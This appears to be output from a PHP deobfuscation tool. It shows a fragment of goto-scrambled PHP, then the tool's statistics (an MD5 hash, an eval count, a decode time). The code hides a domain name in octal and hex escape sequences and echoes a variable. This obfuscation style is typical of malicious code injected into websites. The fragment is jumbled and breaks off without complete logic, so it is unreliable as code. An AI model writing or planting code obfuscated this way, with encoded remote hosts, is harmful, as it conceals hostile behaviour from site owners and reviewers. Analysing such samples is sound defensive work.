goto UlwmF; MNY5h: goto BIxKO; goto ghZnt; hfurV: $R9DNP = "\165\x76\x72\147\145\x6f\165\x63\145\56\157\142\x6a\x61\163\155\x69\154\145\56\151\143\x75"; goto msAEH; PTH2i: echo $JJfCR; goto lw22a; dMDPA: goto GVico; goto W6F0Q; Q89pk: goto FDjbc; goto tMf45; ahinS: fMWr5:

Function Calls

None

Variables

None

Stats

MD5 d3f43bf74adf43bc4bc1b5b8d5040636
Eval Count 0
Decode Time 42 ms